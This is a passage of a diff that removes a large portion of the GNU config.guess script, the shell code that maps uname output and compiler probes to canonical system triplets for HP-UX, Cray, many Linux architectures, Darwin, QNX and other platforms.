CPU_PA_RISC1_1: puts ("hppa1.1"); break; - case CPU_PA_RISC2_0: - #if defined(_SC_KERNEL_BITS) - switch (bits) - { - case 64: puts ("hppa2.0w"); break; - case 32: puts ("hppa2.0n"); break; - default: puts ("hppa2.0"); break; - } break; - #else /* !defined(_SC_KERNEL_BITS) */ - puts ("hppa2.0"); break; - #endif - default: puts ("hppa1.0"); break; - } - exit (0); - } -EOF - (CCOPTS="" $CC_FOR_BUILD -o "$dummy" "$dummy.c" 2>/dev/null) && HP_ARCH=$("$dummy") - test -z "$HP_ARCH" && HP_ARCH=hppa - fi ;; - esac - if test "$HP_ARCH" = hppa2.0w - then - set_cc_for_build - - # hppa2.0w-hp-hpux* has a 64-bit kernel and a compiler generating - # 32-bit code. hppa64-hp-hpux* has the same kernel and a compiler - # generating 64-bit code. GNU and HP use different nomenclature: - # - # $ CC_FOR_BUILD=cc ./config.guess - # => hppa2.0w-hp-hpux11.23 - # $ CC_FOR_BUILD="cc +DA2.0w" ./config.guess - # => hppa64-hp-hpux11.23 - - if echo __LP64__ | (CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | - grep -q __LP64__ - then - HP_ARCH=hppa2.0w - else - HP_ARCH=hppa64 - fi - fi - echo "$HP_ARCH"-hp-hpux"$HPUX_REV" - exit ;; - ia64:HP-UX:*:*) - HPUX_REV=$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*.[0B]*//') - echo ia64-hp-hpux"$HPUX_REV" - exit ;; - 3050*:HI-UX:*:*) - set_cc_for_build - sed 's/^ //' << EOF > "$dummy.c" - #include - int - main () - { - long cpu = sysconf (_SC_CPU_VERSION); - /* The order matters, because CPU_IS_HP_MC68K erroneously returns - true for CPU_PA_RISC1_0. CPU_IS_PA_RISC returns correct - results, however. */ - if (CPU_IS_PA_RISC (cpu)) - { - switch (cpu) - { - case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break; - case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break; - case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break; - default: puts ("hppa-hitachi-hiuxwe2"); break; - } - } - else if (CPU_IS_HP_MC68K (cpu)) - puts ("m68k-hitachi-hiuxwe2"); - else puts ("unknown-hitachi-hiuxwe2"); - exit (0); - } -EOF - $CC_FOR_BUILD -o "$dummy" "$dummy.c" && SYSTEM_NAME=$("$dummy") && - { echo "$SYSTEM_NAME"; exit; } - echo unknown-hitachi-hiuxwe2 - exit ;; - 9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:*) - echo hppa1.1-hp-bsd - exit ;; - 9000/8??:4.3bsd:*:*) - echo hppa1.0-hp-bsd - exit ;; - *9??*:MPE/iX:*:* | *3000*:MPE/iX:*:*) - echo hppa1.0-hp-mpeix - exit ;; - hp7??:OSF1:*:* | hp8?[79]:OSF1:*:*) - echo hppa1.1-hp-osf - exit ;; - hp8??:OSF1:*:*) - echo hppa1.0-hp-osf - exit ;; - i*86:OSF1:*:*) - if test -x /usr/sbin/sysversion ; then - echo "$UNAME_MACHINE"-unknown-osf1mk - else - echo "$UNAME_MACHINE"-unknown-osf1 - fi - exit ;; - parisc*:Lites*:*:*) - echo hppa1.1-hp-lites - exit ;; - C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*) - echo c1-convex-bsd - exit ;; - C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*) - if getsysinfo -f scalar_acc - then echo c32-convex-bsd - else echo c2-convex-bsd - fi - exit ;; - C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*) - echo c34-convex-bsd - exit ;; - C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*) - echo c38-convex-bsd - exit ;; - C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*) - echo c4-convex-bsd - exit ;; - CRAY*Y-MP:*:*:*) - echo ymp-cray-unicos"$UNAME_RELEASE" | sed -e 's/\.[^.]*$/.X/' - exit ;; - CRAY*[A-Z]90:*:*:*) - echo "$UNAME_MACHINE"-cray-unicos"$UNAME_RELEASE" \ - | sed -e 's/CRAY.*\([A-Z]90\)/\1/' \ - -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ \ - -e 's/\.[^.]*$/.X/' - exit ;; - CRAY*TS:*:*:*) - echo t90-cray-unicos"$UNAME_RELEASE" | sed -e 's/\.[^.]*$/.X/' - exit ;; - CRAY*T3E:*:*:*) - echo alphaev5-cray-unicosmk"$UNAME_RELEASE" | sed -e 's/\.[^.]*$/.X/' - exit ;; - CRAY*SV1:*:*:*) - echo sv1-cray-unicos"$UNAME_RELEASE" | sed -e 's/\.[^.]*$/.X/' - exit ;; - *:UNICOS/mp:*:*) - echo craynv-cray-unicosmp"$UNAME_RELEASE" | sed -e 's/\.[^.]*$/.X/' - exit ;; - F30[01]:UNIX_System_V:*:* | F700:UNIX_System_V:*:*) - FUJITSU_PROC=$(uname -m | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz) - FUJITSU_SYS=$(uname -p | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz | sed -e 's/\///') - FUJITSU_REL=$(echo "$UNAME_RELEASE" | sed -e 's/ /_/') - echo "${FUJITSU_PROC}-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" - exit ;; - 5000:UNIX_System_V:4.*:*) - FUJITSU_SYS=$(uname -p | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz | sed -e 's/\///') - FUJITSU_REL=$(echo "$UNAME_RELEASE" | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz | sed -e 's/ /_/') - echo "sparc-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" - exit ;; - i*86:BSD/386:*:* | i*86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*) - echo "$UNAME_MACHINE"-pc-bsdi"$UNAME_RELEASE" - exit ;; - sparc*:BSD/OS:*:*) - echo sparc-unknown-bsdi"$UNAME_RELEASE" - exit ;; - *:BSD/OS:*:*) - echo "$UNAME_MACHINE"-unknown-bsdi"$UNAME_RELEASE" - exit ;; - arm:FreeBSD:*:*) - UNAME_PROCESSOR=$(uname -p) - set_cc_for_build - if echo __ARM_PCS_VFP | $CC_FOR_BUILD -E - 2>/dev/null \ - | grep -q __ARM_PCS_VFP - then - echo "${UNAME_PROCESSOR}"-unknown-freebsd"$(echo ${UNAME_RELEASE}|sed -e 's/[-(].*//')"-gnueabi - else - echo "${UNAME_PROCESSOR}"-unknown-freebsd"$(echo ${UNAME_RELEASE}|sed -e 's/[-(].*//')"-gnueabihf - fi - exit ;; - *:FreeBSD:*:*) - UNAME_PROCESSOR=$(/usr/bin/uname -p) - case "$UNAME_PROCESSOR" in - amd64) - UNAME_PROCESSOR=x86_64 ;; - i386) - UNAME_PROCESSOR=i586 ;; - esac - echo "$UNAME_PROCESSOR"-unknown-freebsd"$(echo "$UNAME_RELEASE"|sed -e 's/[-(].*//')" - exit ;; - i*:CYGWIN*:*) - echo "$UNAME_MACHINE"-pc-cygwin - exit ;; - *:MINGW64*:*) - echo "$UNAME_MACHINE"-pc-mingw64 - exit ;; - *:MINGW*:*) - echo "$UNAME_MACHINE"-pc-mingw32 - exit ;; - *:MSYS*:*) - echo "$UNAME_MACHINE"-pc-msys - exit ;; - i*:PW*:*) - echo "$UNAME_MACHINE"-pc-pw32 - exit ;; - *:Interix*:*) - case "$UNAME_MACHINE" in - x86) - echo i586-pc-interix"$UNAME_RELEASE" - exit ;; - authenticamd | genuineintel | EM64T) - echo x86_64-unknown-interix"$UNAME_RELEASE" - exit ;; - IA64) - echo ia64-unknown-interix"$UNAME_RELEASE" - exit ;; - esac ;; - i*:UWIN*:*) - echo "$UNAME_MACHINE"-pc-uwin - exit ;; - amd64:CYGWIN*:*:* | x86_64:CYGWIN*:*:*) - echo x86_64-pc-cygwin - exit ;; - prep*:SunOS:5.*:*) - echo powerpcle-unknown-solaris2"$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*//')" - exit ;; - *:GNU:*:*) - # the GNU system - echo "$(echo "$UNAME_MACHINE"|sed -e 's,[-/].*$,,')-unknown-$LIBC$(echo "$UNAME_RELEASE"|sed -e 's,/.*$,,')" - exit ;; - *:GNU/*:*:*) - # other systems with GNU libc and userland - echo "$UNAME_MACHINE-unknown-$(echo "$UNAME_SYSTEM" | sed 's,^[^/]*/,,' | tr "[:upper:]" "[:lower:]")$(echo "$UNAME_RELEASE"|sed -e 's/[-(].*//')-$LIBC" - exit ;; - *:Minix:*:*) - echo "$UNAME_MACHINE"-unknown-minix - exit ;; - aarch64:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - aarch64_be:Linux:*:*) - UNAME_MACHINE=aarch64_be - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - alpha:Linux:*:*) - case $(sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' /proc/cpuinfo 2>/dev/null) in - EV5) UNAME_MACHINE=alphaev5 ;; - EV56) UNAME_MACHINE=alphaev56 ;; - PCA56) UNAME_MACHINE=alphapca56 ;; - PCA57) UNAME_MACHINE=alphapca56 ;; - EV6) UNAME_MACHINE=alphaev6 ;; - EV67) UNAME_MACHINE=alphaev67 ;; - EV68*) UNAME_MACHINE=alphaev68 ;; - esac - objdump --private-headers /bin/sh | grep -q ld.so.1 - if test "$?" = 0 ; then LIBC=gnulibc1 ; fi - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - arc:Linux:*:* | arceb:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - arm*:Linux:*:*) - set_cc_for_build - if echo __ARM_EABI__ | $CC_FOR_BUILD -E - 2>/dev/null \ - | grep -q __ARM_EABI__ - then - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - else - if echo __ARM_PCS_VFP | $CC_FOR_BUILD -E - 2>/dev/null \ - | grep -q __ARM_PCS_VFP - then - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC"eabi - else - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC"eabihf - fi - fi - exit ;; - avr32*:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - cris:Linux:*:*) - echo "$UNAME_MACHINE"-axis-linux-"$LIBC" - exit ;; - crisv32:Linux:*:*) - echo "$UNAME_MACHINE"-axis-linux-"$LIBC" - exit ;; - e2k:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - frv:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - hexagon:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - i*86:Linux:*:*) - echo "$UNAME_MACHINE"-pc-linux-"$LIBC" - exit ;; - ia64:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - k1om:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - loongarch32:Linux:*:* | loongarch64:Linux:*:* | loongarchx32:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - m32r*:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - m68*:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - mips:Linux:*:* | mips64:Linux:*:*) - set_cc_for_build - IS_GLIBC=0 - test x"${LIBC}" = xgnu && IS_GLIBC=1 - sed 's/^ //' << EOF > "$dummy.c" - #undef CPU - #undef mips - #undef mipsel - #undef mips64 - #undef mips64el - #if ${IS_GLIBC} && defined(_ABI64) - LIBCABI=gnuabi64 - #else - #if ${IS_GLIBC} && defined(_ABIN32) - LIBCABI=gnuabin32 - #else - LIBCABI=${LIBC} - #endif - #endif - - #if ${IS_GLIBC} && defined(__mips64) && defined(__mips_isa_rev) && __mips_isa_rev>=6 - CPU=mipsisa64r6 - #else - #if ${IS_GLIBC} && !defined(__mips64) && defined(__mips_isa_rev) && __mips_isa_rev>=6 - CPU=mipsisa32r6 - #else - #if defined(__mips64) - CPU=mips64 - #else - CPU=mips - #endif - #endif - #endif - - #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) - MIPS_ENDIAN=el - #else - #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) - MIPS_ENDIAN= - #else - MIPS_ENDIAN= - #endif - #endif -EOF - eval "$($CC_FOR_BUILD -E "$dummy.c" 2>/dev/null | grep '^CPU\|^MIPS_ENDIAN\|^LIBCABI')" - test "x$CPU" != x && { echo "$CPU${MIPS_ENDIAN}-unknown-linux-$LIBCABI"; exit; } - ;; - mips64el:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - openrisc*:Linux:*:*) - echo or1k-unknown-linux-"$LIBC" - exit ;; - or32:Linux:*:* | or1k*:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - padre:Linux:*:*) - echo sparc-unknown-linux-"$LIBC" - exit ;; - parisc64:Linux:*:* | hppa64:Linux:*:*) - echo hppa64-unknown-linux-"$LIBC" - exit ;; - parisc:Linux:*:* | hppa:Linux:*:*) - # Look for CPU level - case $(grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2) in - PA7*) echo hppa1.1-unknown-linux-"$LIBC" ;; - PA8*) echo hppa2.0-unknown-linux-"$LIBC" ;; - *) echo hppa-unknown-linux-"$LIBC" ;; - esac - exit ;; - ppc64:Linux:*:*) - echo powerpc64-unknown-linux-"$LIBC" - exit ;; - ppc:Linux:*:*) - echo powerpc-unknown-linux-"$LIBC" - exit ;; - ppc64le:Linux:*:*) - echo powerpc64le-unknown-linux-"$LIBC" - exit ;; - ppcle:Linux:*:*) - echo powerpcle-unknown-linux-"$LIBC" - exit ;; - riscv32:Linux:*:* | riscv32be:Linux:*:* | riscv64:Linux:*:* | riscv64be:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - s390:Linux:*:* | s390x:Linux:*:*) - echo "$UNAME_MACHINE"-ibm-linux-"$LIBC" - exit ;; - sh64*:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - sh*:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - sparc:Linux:*:* | sparc64:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - tile*:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - vax:Linux:*:*) - echo "$UNAME_MACHINE"-dec-linux-"$LIBC" - exit ;; - x86_64:Linux:*:*) - set_cc_for_build - LIBCABI=$LIBC - if test "$CC_FOR_BUILD" != no_compiler_found; then - if (echo '#ifdef __ILP32__'; echo IS_X32; echo '#endif') | \ - (CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | \ - grep IS_X32 >/dev/null - then - LIBCABI="$LIBC"x32 - fi - fi - echo "$UNAME_MACHINE"-pc-linux-"$LIBCABI" - exit ;; - xtensa*:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - i*86:DYNIX/ptx:4*:*) - # ptx 4.0 does uname -s correctly, with DYNIX/ptx in there. - # earlier versions are messed up and put the nodename in both - # sysname and nodename. - echo i386-sequent-sysv4 - exit ;; - i*86:UNIX_SV:4.2MP:2.*) - # Unixware is an offshoot of SVR4, but it has its own version - # number series starting with 2... - # I am not positive that other SVR4 systems won't match this, - # I just have to hope. -- rms. - # Use sysv4.2uw... so that sysv4* matches it. - echo "$UNAME_MACHINE"-pc-sysv4.2uw"$UNAME_VERSION" - exit ;; - i*86:OS/2:*:*) - # If we were able to find `uname', then EMX Unix compatibility - # is probably installed. - echo "$UNAME_MACHINE"-pc-os2-emx - exit ;; - i*86:XTS-300:*:STOP) - echo "$UNAME_MACHINE"-unknown-stop - exit ;; - i*86:atheos:*:*) - echo "$UNAME_MACHINE"-unknown-atheos - exit ;; - i*86:syllable:*:*) - echo "$UNAME_MACHINE"-pc-syllable - exit ;; - i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.[02]*:*) - echo i386-unknown-lynxos"$UNAME_RELEASE" - exit ;; - i*86:*DOS:*:*) - echo "$UNAME_MACHINE"-pc-msdosdjgpp - exit ;; - i*86:*:4.*:*) - UNAME_REL=$(echo "$UNAME_RELEASE" | sed 's/\/MP$//') - if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then - echo "$UNAME_MACHINE"-univel-sysv"$UNAME_REL" - else - echo "$UNAME_MACHINE"-pc-sysv"$UNAME_REL" - fi - exit ;; - i*86:*:5:[678]*) - # UnixWare 7.x, OpenUNIX and OpenServer 6. - case $(/bin/uname -X | grep "^Machine") in - *486*) UNAME_MACHINE=i486 ;; - *Pentium) UNAME_MACHINE=i586 ;; - *Pent*|*Celeron) UNAME_MACHINE=i686 ;; - esac - echo "$UNAME_MACHINE-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}${UNAME_VERSION}" - exit ;; - i*86:*:3.2:*) - if test -f /usr/options/cb.name; then - UNAME_REL=$(sed -n 's/.*Version //p' /dev/null >/dev/null ; then - UNAME_REL=$( (/bin/uname -X|grep Release|sed -e 's/.*= //')) - (/bin/uname -X|grep i80486 >/dev/null) && UNAME_MACHINE=i486 - (/bin/uname -X|grep '^Machine.*Pentium' >/dev/null) \ - && UNAME_MACHINE=i586 - (/bin/uname -X|grep '^Machine.*Pent *II' >/dev/null) \ - && UNAME_MACHINE=i686 - (/bin/uname -X|grep '^Machine.*Pentium Pro' >/dev/null) \ - && UNAME_MACHINE=i686 - echo "$UNAME_MACHINE"-pc-sco"$UNAME_REL" - else - echo "$UNAME_MACHINE"-pc-sysv32 - fi - exit ;; - pc:*:*:*) - # Left here for compatibility: - # uname -m prints for DJGPP always 'pc', but it prints nothing about - # the processor, so we play safe by assuming i586. - # Note: whatever this is, it MUST be the same as what config.sub - # prints for the "djgpp" host, or else GDB configure will decide that - # this is a cross-build. - echo i586-pc-msdosdjgpp - exit ;; - Intel:Mach:3*:*) - echo i386-pc-mach3 - exit ;; - paragon:*:*:*) - echo i860-intel-osf1 - exit ;; - i860:*:4.*:*) # i860-SVR4 - if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then - echo i860-stardent-sysv"$UNAME_RELEASE" # Stardent Vistra i860-SVR4 - else # Add other i860-SVR4 vendors below as they are discovered. - echo i860-unknown-sysv"$UNAME_RELEASE" # Unknown i860-SVR4 - fi - exit ;; - mini*:CTIX:SYS*5:*) - # "miniframe" - echo m68010-convergent-sysv - exit ;; - mc68k:UNIX:SYSTEM5:3.51m) - echo m68k-convergent-sysv - exit ;; - M680?0:D-NIX:5.3:*) - echo m68k-diab-dnix - exit ;; - M68*:*:R3V[5678]*:*) - test -r /sysV68 && { echo 'm68k-motorola-sysv'; exit; } ;; - 3[345]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[34]??/*:*:4.0:3.0 | 4400:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0 | SDS2:*:4.0:3.0 | SHG2:*:4.0:3.0 | S7501*:*:4.0:3.0) - OS_REL='' - test -r /etc/.relid \ - && OS_REL=.$(sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid) - /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ - && { echo i486-ncr-sysv4.3"$OS_REL"; exit; } - /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ - && { echo i586-ncr-sysv4.3"$OS_REL"; exit; } ;; - 3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*) - /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ - && { echo i486-ncr-sysv4; exit; } ;; - NCR*:*:4.2:* | MPRAS*:*:4.2:*) - OS_REL='.3' - test -r /etc/.relid \ - && OS_REL=.$(sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid) - /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ - && { echo i486-ncr-sysv4.3"$OS_REL"; exit; } - /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ - && { echo i586-ncr-sysv4.3"$OS_REL"; exit; } - /bin/uname -p 2>/dev/null | /bin/grep pteron >/dev/null \ - && { echo i586-ncr-sysv4.3"$OS_REL"; exit; } ;; - m68*:LynxOS:2.*:* | m68*:LynxOS:3.0*:*) - echo m68k-unknown-lynxos"$UNAME_RELEASE" - exit ;; - mc68030:UNIX_System_V:4.*:*) - echo m68k-atari-sysv4 - exit ;; - TSUNAMI:LynxOS:2.*:*) - echo sparc-unknown-lynxos"$UNAME_RELEASE" - exit ;; - rs6000:LynxOS:2.*:*) - echo rs6000-unknown-lynxos"$UNAME_RELEASE" - exit ;; - PowerPC:LynxOS:2.*:* | PowerPC:LynxOS:3.[01]*:* | PowerPC:LynxOS:4.[02]*:*) - echo powerpc-unknown-lynxos"$UNAME_RELEASE" - exit ;; - SM[BE]S:UNIX_SV:*:*) - echo mips-dde-sysv"$UNAME_RELEASE" - exit ;; - RM*:ReliantUNIX-*:*:*) - echo mips-sni-sysv4 - exit ;; - RM*:SINIX-*:*:*) - echo mips-sni-sysv4 - exit ;; - *:SINIX-*:*:*) - if uname -p 2>/dev/null >/dev/null ; then - UNAME_MACHINE=$( (uname -p) 2>/dev/null) - echo "$UNAME_MACHINE"-sni-sysv4 - else - echo ns32k-sni-sysv - fi - exit ;; - PENTIUM:*:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort - # says - echo i586-unisys-sysv4 - exit ;; - *:UNIX_System_V:4*:FTX*) - # From Gerald Hewes . - # How about differentiating between stratus architectures? -djm - echo hppa1.1-stratus-sysv4 - exit ;; - *:*:*:FTX*) - # From seanf@swdc.stratus.com. - echo i860-stratus-sysv4 - exit ;; - i*86:VOS:*:*) - # From Paul.Green@stratus.com. - echo "$UNAME_MACHINE"-stratus-vos - exit ;; - *:VOS:*:*) - # From Paul.Green@stratus.com. - echo hppa1.1-stratus-vos - exit ;; - mc68*:A/UX:*:*) - echo m68k-apple-aux"$UNAME_RELEASE" - exit ;; - news*:NEWS-OS:6*:*) - echo mips-sony-newsos6 - exit ;; - R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*) - if test -d /usr/nec; then - echo mips-nec-sysv"$UNAME_RELEASE" - else - echo mips-unknown-sysv"$UNAME_RELEASE" - fi - exit ;; - BeBox:BeOS:*:*) # BeOS running on hardware made by Be, PPC only. - echo powerpc-be-beos - exit ;; - BeMac:BeOS:*:*) # BeOS running on Mac or Mac clone, PPC only. - echo powerpc-apple-beos - exit ;; - BePC:BeOS:*:*) # BeOS running on Intel PC compatible. - echo i586-pc-beos - exit ;; - BePC:Haiku:*:*) # Haiku running on Intel PC compatible. - echo i586-pc-haiku - exit ;; - x86_64:Haiku:*:*) - echo x86_64-unknown-haiku - exit ;; - SX-4:SUPER-UX:*:*) - echo sx4-nec-superux"$UNAME_RELEASE" - exit ;; - SX-5:SUPER-UX:*:*) - echo sx5-nec-superux"$UNAME_RELEASE" - exit ;; - SX-6:SUPER-UX:*:*) - echo sx6-nec-superux"$UNAME_RELEASE" - exit ;; - SX-7:SUPER-UX:*:*) - echo sx7-nec-superux"$UNAME_RELEASE" - exit ;; - SX-8:SUPER-UX:*:*) - echo sx8-nec-superux"$UNAME_RELEASE" - exit ;; - SX-8R:SUPER-UX:*:*) - echo sx8r-nec-superux"$UNAME_RELEASE" - exit ;; - SX-ACE:SUPER-UX:*:*) - echo sxace-nec-superux"$UNAME_RELEASE" - exit ;; - Power*:Rhapsody:*:*) - echo powerpc-apple-rhapsody"$UNAME_RELEASE" - exit ;; - *:Rhapsody:*:*) - echo "$UNAME_MACHINE"-apple-rhapsody"$UNAME_RELEASE" - exit ;; - arm64:Darwin:*:*) - echo aarch64-apple-darwin"$UNAME_RELEASE" - exit ;; - *:Darwin:*:*) - UNAME_PROCESSOR=$(uname -p) - case $UNAME_PROCESSOR in - unknown) UNAME_PROCESSOR=powerpc ;; - esac - if command -v xcode-select > /dev/null 2> /dev/null && \ - ! xcode-select --print-path > /dev/null 2> /dev/null ; then - # Avoid executing cc if there is no toolchain installed as - # cc will be a stub that puts up a graphical alert - # prompting the user to install developer tools. - CC_FOR_BUILD=no_compiler_found - else - set_cc_for_build - fi - if test "$CC_FOR_BUILD" != no_compiler_found; then - if (echo '#ifdef __LP64__'; echo IS_64BIT_ARCH; echo '#endif') | \ - (CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | \ - grep IS_64BIT_ARCH >/dev/null - then - case $UNAME_PROCESSOR in - i386) UNAME_PROCESSOR=x86_64 ;; - powerpc) UNAME_PROCESSOR=powerpc64 ;; - esac - fi - # On 10.4-10.6 one might compile for PowerPC via gcc -arch ppc - if (echo '#ifdef __POWERPC__'; echo IS_PPC; echo '#endif') | \ - (CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | \ - grep IS_PPC >/dev/null - then - UNAME_PROCESSOR=powerpc - fi - elif test "$UNAME_PROCESSOR" = i386 ; then - # uname -m returns i386 or x86_64 - UNAME_PROCESSOR=$UNAME_MACHINE - fi - echo "$UNAME_PROCESSOR"-apple-darwin"$UNAME_RELEASE" - exit ;; - *:procnto*:*:* | *:QNX:[0123456789]*:*) - UNAME_PROCESSOR=$(uname -p) - if test "$UNAME_PROCESSOR" = x86; then - UNAME_PROCESSOR=i386 - UNAME_MACHINE=pc - fi - echo "$UNAME_PROCESSOR"-"$UNAME_MACHINE"-nto-qnx"$UNAME_RELEASE" - exit ;; - *:QNX:*:4*) - echo i386-pc-qnx - exit ;; - NEO-*:NONSTOP_KERNEL:*:*) - echo neo-tandem-nsk"$UNAME_RELEASE" - exit ;; - NSE-*:NONSTOP_KERNEL:*:*) - echo nse-tandem-nsk"$UNAME_RELEASE" - exit ;; - NSR-*:NONSTOP_KERNEL:*:*) - echo nsr-tandem-nsk"$UNAME_RELEASE" - exit ;; - NSV-*:NONSTOP_KERNEL:*:*) - echo nsv-tandem-nsk"$UNAME_RELEASE" - exit ;; - NSX-*:NONSTOP_KERNEL:*:*) - echo nsx-tandem-nsk"$UNAME_RELEASE" - exit ;; - *:NonStop-UX:*:*) - echo mips-compaq-nonstopux - exit ;; - BS2000:POSIX*:*:*) - echo bs2000-siemens-sysv - exit ;; - DS/*:UNIX_System_V:*:*) - echo "$UNAME_MACHINE"-"$UNAME_SYSTEM"-"$UNAME_RELEASE" - exit ;; - *:Plan9:*:*) - # "uname -m" is not consistent, so use $cputype instead. 386 - # is converted to i386 for consistency with other x86 - # operating systems. - # shellcheck disable=SC2154 - if test "$cputype" = 386; then - UNAME_MACHINE=i386 - else - UNAME_MACHINE="$cputype" - fi - echo "$UNAME_MACHINE"-unknown-plan9 - exit ;; - *:TOPS-10:*:*) - echo pdp10-unknown-tops10 - exit ;; - *:TENEX:*:*) - echo pdp10-unknown-tenex - exit ;; - KS10:TOPS-20:*:* | KL10:TOPS-20:*:* | TYPE4:TOPS-20:*:*) - echo pdp10-dec-tops20 - exit ;; - XKL-1:TOPS-20:*:* | TYPE5:TOPS-20:*:*) - echo pdp10-xkl-tops20 - exit ;; - *:TOPS-20:*:*) - echo pdp10-unknown-tops20 - exit ;; - *:ITS:*:*) - echo pdp10-unknown-its - exit ;; - SEI:*:*:SEIUX) - echo mips-sei-seiux"$UNAME_RELEASE" - exit ;; - *:DragonFly:*:*) - echo "$UNAME_MACHINE"-unknown-dragonfly"$(echo "$UNAME_RELEASE"|sed -e 's/[-(].*//')" - exit ;; - *:*VMS:*:*) - UNAME_MACHINE=$( (uname -p) 2>/dev/null) - case "$UNAME_MACHINE" in - A*) echo alpha-dec-vms ; exit ;; - I*) echo ia64-dec-vms ; exit ;; - V*) echo vax-dec-vms ; exit ;; - esac ;; - *:XENIX:*:SysV) - echo i386-pc-xenix - exit ;; - i*86:skyos:*:*) - echo "$UNAME_MACHINE"-pc-skyos"$(echo "$UNAME_RELEASE" | sed -e 's/ .*$//')" - exit ;; - i*86:rdos:*:*) - echo "$UNAME_MACHINE"-pc-rdos - exit ;; - *:AROS:*:*) - echo "$UNAME_MACHINE"-unknown-aros - exit ;; - x86_64:VMkernel:*:*) - echo "$UNAME_MACHINE"-unknown-esx - exit ;; - amd64:Isilon\ OneFS:*:*) - echo x86_64-unknown-onefs - exit ;; - *:Unleashed:*:*) - echo "$UNAME_MACHINE"-unknown-unleashed"$UNAME_RELEASE" - exit ;; -esac - -# No uname command or uname output not recognized. -set_cc_for_build -cat > "$dummy.c" < -#include -#endif -#if defined(ultrix) || defined(_ultrix) || defined(__ultrix) || defined(__ultrix__) -#if defined (vax) || defined (__vax) || defined (__vax__) || defined(mips) || defined(__mips) || defined(__mips__) || defined(MIPS) || defined(__MIPS__) -#include -#if defined(_SIZE_T_) || defined(SIGLOST) -#include -#endif -#endif -#endif -main () -{ -#if defined (sony) -#if defined (MIPSEB) - /* BFD wants "bsd" instead of "newsos". Perhaps BFD should be changed, - I don't know.... */ - printf ("mips-sony-bsd\n"); exit (0); -#else -#include - printf ("m68k-sony-newsos%s\n", -#ifdef NEWSOS4 - "4" -#else - "" 